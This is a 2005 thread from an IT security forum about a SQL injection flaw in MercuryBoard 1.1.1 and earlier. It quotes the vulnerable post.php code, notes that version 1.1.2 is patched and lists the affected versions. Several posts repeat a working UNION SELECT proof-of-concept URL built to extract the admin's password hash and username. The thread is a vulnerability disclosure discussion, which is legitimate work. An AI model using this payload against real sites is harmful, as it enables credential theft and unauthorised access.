Waraxe IT Security Portal
Login or Register
November 24, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 39
Members: 0
Total: 39
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Critical Sql injection in Mercuryboard <= 1.1.1
Post new topicReply to topic View previous topic :: View next topic
Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 08, 2005 10:22 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:


--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
Re: Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Wed Feb 09, 2005 8:08 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




Zeelock wrote:
I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:


--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock



yes men, i test all versions not work in all, this exploit is fake or not complete exploit
View user's profile Send private message Visit poster's website
wtf!!!
PostPosted: Wed Feb 09, 2005 8:32 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




Argentino...!!!

That's my improvement... it works, just try it Very Happy

With this one you see the full hash and username of the admin.


http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*


The trick is in the "qu" variable. You'll see everything in the form

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PostPosted: Fri Feb 11, 2005 5:27 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




yes men very good work zeelock Very Happy
View user's profile Send private message Visit poster's website
Re: Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 15, 2005 5:52 am Reply with quote
Lostmon
Regular user
Regular user
Joined: Jul 24, 2004
Posts: 6
Location: spain




hello !!

i?m currenly documenting this vuln and make probes in
mercuryboard 1.0.x and 1.1.x
any of this xploits working
but is shure what can inject sql commands...

have any more proof of concept ??

Thnx

_________________
--
La curiosidad es lo que hace mover la mente
View user's profile Send private message Send e-mail Visit poster's website
Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 15, 2005 12:50 pm Reply with quote
Lostmon
Regular user
Regular user
Joined: Jul 24, 2004
Posts: 6
Location: spain




Oks

After making some several probes whith some versions
this is the result

Mercuryboard 1.1.2 Not Affected
Mercuryboard 1.1.0 Affected
Mercuryboard 1.0.1 Affected
Mercuryboard 1.0.2 Affected

thnx !!!!!

_________________
--
La curiosidad es lo que hace mover la mente
View user's profile Send private message Send e-mail Visit poster's website
For more info:
PostPosted: Wed Feb 16, 2005 8:34 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




http://www.securityfocus.com/bid/12503

http://www.securityfocus.com/archive/1/389881

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
Critical Sql injection in Mercuryboard <= 1.1.1
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.035 Seconds